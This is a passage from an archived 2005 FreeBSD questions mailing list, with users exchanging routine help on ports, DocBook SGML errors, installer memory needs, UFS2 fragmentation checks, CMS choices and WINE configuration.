<420A40B2.3050403@locolomo.org> Date: Wed, 09 Feb 2005 17:56:18 +0100 From: Erik Norgaard User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20050127 X-Accept-Language: en, en-us, da, it, es MIME-Version: 1.0 To: ".:PBS:. Medik" References: <5.1.0.14.2.20050209112731.00b1e930@cdi-axion.com> In-Reply-To: <5.1.0.14.2.20050209112731.00b1e930@cdi-axion.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: questions@FreeBSD.org Subject: Re: Question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 16:56:26 -0000 .:PBS:. Medik wrote: > I still have it today and proceeded to reinstalling it. I realize I > should have grabbed the latest release, but alas for some reason I can't > through my router. Yes I'm running a private network on windows, (for > the time being until I can adequately configure freebsd as a server). Are you trying to download iso's? on windows or freebsd machine? Does the download start and fails halfway? There are many things you can try: Try a different mirror, try using an ftp program rather than through your browser. You can download and burn the iso's both on windows and freebsd. > further more, I would also like to be able to install the Apache > web server, I managed to get the Apache_1.3.33 but for some reason it > wont compile (make), I have assumed that perhaps it was already compiled > and tried to do a config or an install to it and still nothing.. what am > I doing wrong? Are you installing from ports or have you downloaded the source from apache.org and try to install that following the included instructions? I suggest you use ports - it has all the patches to make the compilation work on freebsd. > Yes I have already literally downloaded and printed several man pages on > multiple topics (over 180 pages worth) > and I still can't make heads or tails from it. The man-pages are for reference for how to use a particular command for a particular problem. You might want to start with the handbook to get heads and tail. The handbook also shows you how to use ports, and how and where to get your copy of FBSD. Cheers, Erik -- Ph: +34.666334818 web: http://www.locolomo.org S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt Subject ID: A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9 Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2 From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 17:05:39 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0C74016A4CE for ; Wed, 9 Feb 2005 17:05:39 +0000 (GMT) Received: from relay.pair.com (relay00.pair.com [209.68.1.20]) by mx1.FreeBSD.org (Postfix) with SMTP id 444AB43D45 for ; Wed, 9 Feb 2005 17:05:36 +0000 (GMT) (envelope-from alejandro@varnet.biz) Received: (qmail 58221 invoked from network); 9 Feb 2005 17:05:34 -0000 Received: from unknown (HELO ale.varnet.bsd) (unknown) by unknown with SMTP; 9 Feb 2005 17:05:34 -0000 X-pair-Authenticated: 200.115.214.206 Date: Wed, 9 Feb 2005 14:06:00 -0300 From: Alejandro Pulver To: freebsd-questions Message-ID: <20050209140600.5ac34ef9@ale.varnet.bsd> X-Mailer: Sylpheed-Claws 0.9.12b (GTK+ 1.2.10; i386-portbld-freebsd5.3) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Missing DocBook 4.1 ".gml" files X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 17:05:39 -0000 Hello, When I run "nsgmls" over a DocBook 4.1 SGML file (specifying the catalog file: '-c /usr/local/share/sgml/docbook/4.1/catalog') it outputs the following messages: ---------- BEGIN ---------- nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:54:0:E: cannot open "/usr/local/share/sgml/docbook/4.1/iso-amsa.gml" (No such file or directory) nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:61:0:E: cannot open "/usr/local/share/sgml/docbook/4.1/iso-amsb.gml" (No such file or directory) nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:68:0:E: cannot open "/usr/local/share/sgml/docbook/4.1/iso-amsc.gml" (No such file or directory) nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:75:0:E: cannot open "/usr/local/share/sgml/docbook/4.1/iso-amsn.gml" (No such file or directory) nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:82:0:E: cannot open "/usr/local/share/sgml/docbook/4.1/iso-amso.gml" (No such file or directory) nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:89:0:E: cannot open "/usr/local/share/sgml/docbook/4.1/iso-amsr.gml" (No such file or directory) nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:96:0:E: cannot open "/usr/local/share/sgml/docbook/4.1/iso-box.gml" (No such file or directory) nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:103:0:E: cannot open "/usr/local/share/sgml/docbook/4.1/iso-cyr1.gml" (No such file or directory) nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:110:0:E: cannot open "/usr/local/share/sgml/docbook/4.1/iso-cyr2.gml" (No such file or directory) nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:117:0:E: cannot open "/usr/local/share/sgml/docbook/4.1/iso-dia.gml" (No such file or directory) nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:124:0:E: cannot open "/usr/local/share/sgml/docbook/4.1/iso-grk1.gml" (No such file or directory) nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:131:0:E: cannot open "/usr/local/share/sgml/docbook/4.1/iso-grk2.gml" (No such file or directory) nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:138:0:E: cannot open "/usr/local/share/sgml/docbook/4.1/iso-grk3.gml" (No such file or directory) nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:145:0:E: cannot open "/usr/local/share/sgml/docbook/4.1/iso-grk4.gml" (No such file or directory) nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:152:0:E: cannot open "/usr/local/share/sgml/docbook/4.1/iso-lat1.gml" (No such file or directory) nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:159:0:E: cannot open "/usr/local/share/sgml/docbook/4.1/iso-lat2.gml" (No such file or directory) nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:166:0:E: cannot open "/usr/local/share/sgml/docbook/4.1/iso-num.gml" (No such file or directory) nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:173:0:E: cannot open "/usr/local/share/sgml/docbook/4.1/iso-pub.gml" (No such file or directory) nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:180:0:E: cannot open "/usr/local/share/sgml/docbook/4.1/iso-tech.gml" (No such file or directory) ---------- END ---------- What are these files? Where can I find them? Thanks and Best Regards, Ale From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 17:07:48 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E31DE16A4CE for ; Wed, 9 Feb 2005 17:07:48 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id AA32C43D5D for ; Wed, 9 Feb 2005 17:07:48 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id E8C73512F2; Wed, 9 Feb 2005 09:07:47 -0800 (PST) Date: Wed, 9 Feb 2005 09:07:47 -0800 From: Kris Kennaway To: Vikash Badal Message-ID: <20050209170747.GA37205@xor.obsecurity.org> References: <4209B58D.6000503@gmail.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="5vNYLRcllDrimb99" Content-Disposition: inline In-Reply-To: <4209B58D.6000503@gmail.com> User-Agent: Mutt/1.4.2.1i cc: freebsd-questions@freebsd.org Subject: Re: port source list from www.freebsd.org X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 17:07:49 -0000 --5vNYLRcllDrimb99 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Feb 09, 2005 at 09:02:37AM +0200, Vikash Badal wrote: > Greetings, >=20 > <><><>I have looked at the following url : >=20 > http://www.freebsd.org/cgi/pds.cgi?ports/www/squid Where did you get this URL? It may be that you're using the wrong format for the argument. Kris --5vNYLRcllDrimb99 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCkNjWry0BWjoQKURAg8vAJ9sJskUtDqnDt+0np4FxY4I88RJ1gCgmNql 8PI0Qbw2gSEZfQAt5lqe5L8= =tckH -----END PGP SIGNATURE----- --5vNYLRcllDrimb99-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 17:09:28 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D7C8E16A4CE; Wed, 9 Feb 2005 17:09:28 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id 82A6D43D4C; Wed, 9 Feb 2005 17:09:28 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id BF16F512AF; Wed, 9 Feb 2005 09:09:27 -0800 (PST) Date: Wed, 9 Feb 2005 09:09:27 -0800 From: Kris Kennaway To: Mark Ovens Message-ID: <20050209170927.GB37205@xor.obsecurity.org> References: <200502072107.38331.me@danielquinn.org> <20050207222811.U24265@frambozen.monochrome.org> <200502072252.53881.danstemporaryaccount@yahoo.ca> <420A235A.7060907@freebsd.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="OwLcNYc0lM97+oe1" Content-Disposition: inline In-Reply-To: <420A235A.7060907@freebsd.org> User-Agent: Mutt/1.4.2.1i cc: daniel cc: freebsd-questions@freebsd.org Subject: Re: cracked out floppy install X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 17:09:29 -0000 --OwLcNYc0lM97+oe1 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Feb 09, 2005 at 02:51:06PM +0000, Mark Ovens wrote: > >well the handbook says freebsd5 has a minimum requirement of 8mb, so 16= =20 > >should be fine. but even if it weren't, you'd think there'd be some for= m=20 > >of useful error message instead of just rebooting. it just makes no sen= se. > > >=20 > Interestingly, the Installation Notes for 4.11-R,=20 > http://www.freebsd.org/releases/4.11R/installation-i386.html state, in=20 > section 1.2 Hardware Requirements, "The sysinstall(8) installation=20 > program requires 16MB of RAM" >=20 > Does sysinstall in 5.3 _really_ need half the RAM that 4.11 requires? I= =20 > find that hard to believe. No...this has been established elsethread and a PR has been submitted. Kris --OwLcNYc0lM97+oe1 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCkPHWry0BWjoQKURApmzAKCFEnEmtZuaR+FeEk9vcx8uyEdYTACfWgZm 75lL41rXZJagb7/DGO4tf3Q= =axtF -----END PGP SIGNATURE----- --OwLcNYc0lM97+oe1-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 17:09:45 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 861AC16A4CE for ; Wed, 9 Feb 2005 17:09:45 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4D40D43D5C for ; Wed, 9 Feb 2005 17:09:45 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 84813512FC; Wed, 9 Feb 2005 09:09:44 -0800 (PST) Date: Wed, 9 Feb 2005 09:09:44 -0800 From: Kris Kennaway To: m Message-ID: <20050209170944.GC37205@xor.obsecurity.org> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="GPJrCs/72TxItFYR" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i cc: freebsd-questions@FreeBSD.org Subject: Re: FreeBSD IA64 on Compaq DL590? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 17:09:45 -0000 --GPJrCs/72TxItFYR Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Wed, Feb 09, 2005 at 10:22:48AM -0500, m wrote: > Has anyone successfully booted IA64 BSD 5.3 on a Compaq DL590 machine? Try the freebsd-ia64 list. Kris --GPJrCs/72TxItFYR Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCkPXWry0BWjoQKURAtQFAJwMJ4b0r75XUtNwM9rymlxNOTk3UgCeOWCG eLfhhDp/CrcHCXsjOt2PxHM= =+gUJ -----END PGP SIGNATURE----- --GPJrCs/72TxItFYR-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 17:10:40 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5DA7316A4CE for ; Wed, 9 Feb 2005 17:10:40 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id 244F743D45 for ; Wed, 9 Feb 2005 17:10:40 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 89B32512AF; Wed, 9 Feb 2005 09:10:39 -0800 (PST) Date: Wed, 9 Feb 2005 09:10:39 -0800 From: Kris Kennaway To: freebsd-questions@freebsd.org Message-ID: <20050209171039.GD37205@xor.obsecurity.org> References: <20050209163433.GW8365@gentoo-npk.bmp.ub> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="mSxgbZZZvrAyzONB" Content-Disposition: inline In-Reply-To: <20050209163433.GW8365@gentoo-npk.bmp.ub> User-Agent: Mutt/1.4.2.1i Subject: Re: determine ufs2 %fragmentation on mounted filesystem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 17:10:40 -0000 --mSxgbZZZvrAyzONB Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Wed, Feb 09, 2005 at 10:34:33AM -0600, Nathan Kinkade wrote: > Does anyone know of a way to determine the %fragmentation on a mounted > UFS2 filesystem? An entry showed up in messages yesterday stating that > /usr has moved from time to space optimization yet the filesystem is > only at about 25% of it's capacity. From what I can read it seems that > the kernel might also make this switch if fragmentation becomes > excessive. However, this is a busy production machine running Squid, so > I can't conveniently umount /usr. Try dumpfs(8). Kris --mSxgbZZZvrAyzONB Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCkQOWry0BWjoQKURAmvvAKDoHDSIXgy6smpT3qf/PjIzUKVR4wCgnKma vkVddcIgvbiQ3V0X9hEG6rU= =U711 -----END PGP SIGNATURE----- --mSxgbZZZvrAyzONB-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 17:14:24 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0E3D616A4CE for ; Wed, 9 Feb 2005 17:14:24 +0000 (GMT) Received: from mail-relay4.mirrorimage.net (mail-relay4.mirrorimage.net [209.58.140.15]) by mx1.FreeBSD.org (Postfix) with ESMTP id AD89943D41 for ; Wed, 9 Feb 2005 17:14:23 +0000 (GMT) (envelope-from FreeBSD@keyslapper.net) Received: from localhost (unknown [10.10.4.59]) by mail-relay4.mirrorimage.net (Postfix) with SMTP id ECB9B6925C for ; Wed, 9 Feb 2005 12:14:22 -0500 (EST) Received: by localhost (sSMTP sendmail emulation); Wed, 9 Feb 2005 12:15:14 -0500 Date: Wed, 9 Feb 2005 12:15:14 -0500 From: Louis LeBlanc To: FreeBSD Questions Message-ID: <20050209171513.GA18088@keyslapper.net> Mail-Followup-To: FreeBSD Questions References: <20050208230206.GA88486@keyslapper.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="nFreZHaLTZJo0R7j" Content-Disposition: inline In-Reply-To: <20050208230206.GA88486@keyslapper.net> X-PGP-Key: http://www.keyslapper.net/~leblanc/leblanc-at-keyslapper-net.asc User-Agent: Mutt/1.5.6i Subject: Re: maybe slightly OT - web content management kits X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 17:14:24 -0000 --nFreZHaLTZJo0R7j Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline On 02/08/05 06:02 PM, Louis LeBlanc sat at the `puter and typed: > I know this might be slightly OT, but I really only want to ask this > question to those that use and maintain websites on FreeBSD anyway. So > please overlook the OT post. > > I'm trying to find a good website management system. Content > management. I'm running Apache 2.0 with (among others) mod_perl2, (perl > 5.8.6) and Jakarta Tomcat 5.0. > > I don't have mod_php installed, and I'd just as soon not install it if I > don't have to. If it's the best option, then I'll bite the bullet. I'd > also like to stick with the server versions I already have installed. > > I've noticed slash in the ports, but it really wants Apache 1.3.x - as > do many other similar apps in the ports. Many others I've found also > want mod_php. > > What I'm asking for is recommendations from people who have used and/or > maintained multiple such packages on FreeBSD, what they thought about > them. Also, if anyone knows of any similar kits written in JSP, I'd be > interested in checking them out. > > Finally, the server setup I have. I know I'm running pretty close to > the bleeding edge, but are there any of these packages out there that > are ok on Apache 2.0? Ok, I know I'm answering my own post again, but I've found a very good resource for this kind of info. Just in case anyone is interested, it's at http://www.opensourcecms.com/ They have an extensive, if not exhaustive list of CMS webware projects, and even have an excellent cross project comparison matrix by feature. I'm probably going to try a few out, since there's only a couple in the ports. Among my top candidates are Mambo, geeklog (in ports), drupal (also in ports), opencms, Etomite, and Magnolia. If I find one I really really like, that's not in ports, I may try my hand at submitting and supporting a port. We'll see. Lou -- Louis LeBlanc FreeBSD-at-keyslapper-DOT-net Fully Funded Hobbyist, KeySlapper Extrordinaire :) Please send off-list email to: leblanc at keyslapper d.t net Key fingerprint = C5E7 4762 F071 CE3B ED51 4FB8 AF85 A2FE 80C8 D9A2 Water causes rust! Drink beer instead! --nFreZHaLTZJo0R7j Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCkUhr4Wi/oDI2aIRAn/DAJ9FQxLlg/XaOkC3a/4R1WIyTw0AxgCfYROO DpKbHOvMTaHrzm5IHjmbf9s= =UG+R -----END PGP SIGNATURE----- --nFreZHaLTZJo0R7j-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 17:16:12 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DFF8E16A4CE for ; Wed, 9 Feb 2005 17:16:12 +0000 (GMT) Received: from mci-mail.nodes.net.ad-flow.com (mci-mail.nodes.net.ad-flow.com [66.48.68.70]) by mx1.FreeBSD.org (Postfix) with ESMTP id 32D9B43D2F for ; Wed, 9 Feb 2005 17:16:12 +0000 (GMT) (envelope-from freebsd@danielquinn.org) Received: from douglas ([66.59.162.146]) (authenticated)j19HG7K17764 for ; Wed, 9 Feb 2005 17:16:08 GMT Exocomm-Delivery-Date: Wed, 9 Feb 2005 17:16:08 GMT Exocomm-URL: www.exocomm.com From: daniel quinn To: freebsd-questions@freebsd.org Date: Wed, 9 Feb 2005 12:12:30 -0500 User-Agent: KMail/1.7.2 References: <200502072107.38331.me@danielquinn.org> <420A235A.7060907@freebsd.org> <20050209170927.GB37205@xor.obsecurity.org> In-Reply-To: <20050209170927.GB37205@xor.obsecurity.org> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502091212.30306.freebsd@danielquinn.org> Subject: Re: cracked out floppy install X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 17:16:13 -0000 On February 9, 2005 12:09 pm, Kris Kennaway wrote: > On Wed, Feb 09, 2005 at 02:51:06PM +0000, Mark Ovens wrote: > > >well the handbook says freebsd5 has a minimum requirement of 8mb, so 16 > > >should be fine. but even if it weren't, you'd think there'd be some > > > form of useful error message instead of just rebooting. it just makes > > > no sense. > > > > Interestingly, the Installation Notes for 4.11-R, > > http://www.freebsd.org/releases/4.11R/installation-i386.html state, in > > section 1.2 Hardware Requirements, "The sysinstall(8) installation > > program requires 16MB of RAM" > > > > Does sysinstall in 5.3 _really_ need half the RAM that 4.11 requires? I > > find that hard to believe. > > No...this has been established elsethread and a PR has been submitted. you're right. i found it yesterday. the installer actually requires more ram than it takes to run the operating system itself. i was working from the assumption that the installer required what the o/s required. my bad. i think this weekend i'm just going to transplant the hard drive into another machine to do the install. it saves me the headaches that come with floppies and it'll likely be a whole lot faster. thanks for all your input though. as a gentoo guy, i guess i have a lot to learn about freebsd yet. -- problems cannot be solved at the same level of awareness that created them. - albert Einstein From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 17:26:41 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0735F16A4CE for ; Wed, 9 Feb 2005 17:26:41 +0000 (GMT) Received: from sage.thought.org (dsl231-043-140.sea1.dsl.speakeasy.net [216.231.43.140]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6D7EE43D2D for ; Wed, 9 Feb 2005 17:26:40 +0000 (GMT) (envelope-from kline@tao.thought.org) Received: from thought.org (tao [10.0.0.247]) by sage.thought.org (8.13.1/8.12.10) with ESMTP id j19HQbIo023922; Wed, 9 Feb 2005 09:26:38 -0800 (PST) (envelope-from kline@tao.thought.org) Received: from tao.thought.org (localhost [127.0.0.1]) by thought.org (8.12.11/8.12.11) with ESMTP id j19HQav0069476; Wed, 9 Feb 2005 09:26:36 -0800 (PST) (envelope-from kline@tao.thought.org) Received: (from kline@localhost) by tao.thought.org (8.12.11/8.12.11/Submit) id j19HQZsL069475; Wed, 9 Feb 2005 09:26:35 -0800 (PST) (envelope-from kline) Date: Wed, 9 Feb 2005 09:26:35 -0800 From: Gary Kline To: albi Message-ID: <20050209172635.GA69442@thought.org> References: <20050208234809.GA64598@thought.org> <42095227.7060008@scii.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <42095227.7060008@scii.nl> X-Organization: Thought Unlimited. Public service Unix since 1986. X-Of_Interest: Observing 18 years of service to the Unix community User-Agent: Mutt/1.5.6i cc: FreeBSD Mailing List Subject: Re: is there a cheat-sheet for WINE? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 17:26:41 -0000 On Wed, Feb 09, 2005 at 12:58:31AM +0100, albi wrote: > Gary Kline wrote: > > > The sh tools/wineinstall did an incomplete job. I have > > ~/.wine/config i nstalled, but I'm missing something because > > runnning wine or wine --help yields: > > > > > >fixme:file:get_default_drive_device auto detection of DOS devices not > >supported on this platform > >Warning: the specified Windows directory L"c:\\windows" is not > >accessible. > > a few weeks ago i tried wine (and linux-winetools) from the ports in > 5.3 and it worked pretty well (testing filezilla for windows-users) > > in linux there's usually the winesetup tool, but this was (not available > and) not needed at all > > i would install wine from ports and do a rm -rf ~/.wine and try again > Still no luck. The WINE website is aimed toward Linux and as far as I can tell, the OnLamp article no longer applies. Anybody else? gary -- Gary Kline kline@thought.org www.thought.org Public service Unix From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 17:31:01 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C163A16A4CE for ; Wed, 9 Feb 2005 17:31:01 +0000 (GMT) Received: from out1.smtp.messagingengine.com (out1.smtp.messagingengine.com [66.111.4.25]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3EBC043D45 for ; Wed, 9 Feb 2005 17:31:01 +0000 (GMT) (envelope-from nkinkade@fastmail.fm) Received: from frontend3.messagingengine.com (frontend3.internal [10.202.2.152]) by frontend1.messagingengine.com (Postfix) with ESMTP id 419A9C562AB for ; Wed, 9 Feb 2005 12:31:00 -0500 (EST) X-Sasl-enc: 8ediuUtsY7pJa0xqX8gu8Q 1107970260 Received: from gentoo-npk.bmp.ub (unknown [206.27.244.136]) by www.fastmail.fm (Postfix) with ESMTP id 10DD825535 for ; Wed, 9 Feb 2005 12:31:00 -0500 (EST) Received: from nkinkade by gentoo-npk.bmp.ub with local (Exim 4.21) id 1Cyvg1-00008r-5D for freebsd-questions@freebsd.org; Wed, 09 Feb 2005 11:30:57 -0600 Date: Wed, 9 Feb 2005 11:30:57 -0600 From: Nathan Kinkade To: freebsd-questions@freebsd.org Message-ID: <20050209173057.GX8365@gentoo-npk.bmp.ub> Mail-Followup-To: freebsd-questions@freebsd.org References: <20050209163433.GW8365@gentoo-npk.bmp.ub> <20050209171039.GD37205@xor.obsecurity.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="tYlHSoJ8Aop8eNG2" Content-Disposition: inline In-Reply-To: <20050209171039.GD37205@xor.obsecurity.org> X-PGP-Fingerprint: 3FDF A406 B149 3959 A8CB C5A9 3B46 4812 D852 7E49 User-Agent: Mutt/1.5.6i Sender: Subject: Re: determine ufs2 %fragmentation on mounted filesystem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Nathan Kinkade List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 17:31:01 -0000 --tYlHSoJ8Aop8eNG2 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Feb 09, 2005 at 09:10:39AM -0800, Kris Kennaway wrote: > On Wed, Feb 09, 2005 at 10:34:33AM -0600, Nathan Kinkade wrote: > > Does anyone know of a way to determine the %fragmentation on a mounted > > UFS2 filesystem? An entry showed up in messages yesterday stating that > > /usr has moved from time to space optimization yet the filesystem is > > only at about 25% of it's capacity. From what I can read it seems that > > the kernel might also make this switch if fragmentation becomes > > excessive. However, this is a busy production machine running Squid, so > > I can't conveniently umount /usr. >=20 > Try dumpfs(8). >=20 > Kris I had already tried dumpfs, but couldn't find any information about actual filesystem fragmentation in the output. Erik's suggestion of running `# fsck -t ufs2 /usr` seemed to work, though I felt a little skittish about running it on a live filesystem. It found numerous errors and auto-answered "no" for all of them, though I never specified that it should do that. Does fsck just do this by default on a mounted filesystem? Also, I had tried running fsck manually earlier and the only difference between what I did and Erik's suggestion was the -t option, which I wouldn't think should have been necessary. Shouldn't fsck be able to determine the fs type by looking at the superblock? By the way, the fragmentation was as 5.1%. Quite high, and I'm wondering how it got that way? Squid? Thanks, Nathan --tYlHSoJ8Aop8eNG2 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFCCkjRO0ZIEthSfkkRApWVAKDA/5Z7zGyHDFt4DQuHPIZEtuGEOwCfaifR NMOa1gkMnKnCc3laanliuqk= =8dCv -----END PGP SIGNATURE----- --tYlHSoJ8Aop8eNG2-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 17:36:58 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 187AA16A4CE for ; Wed, 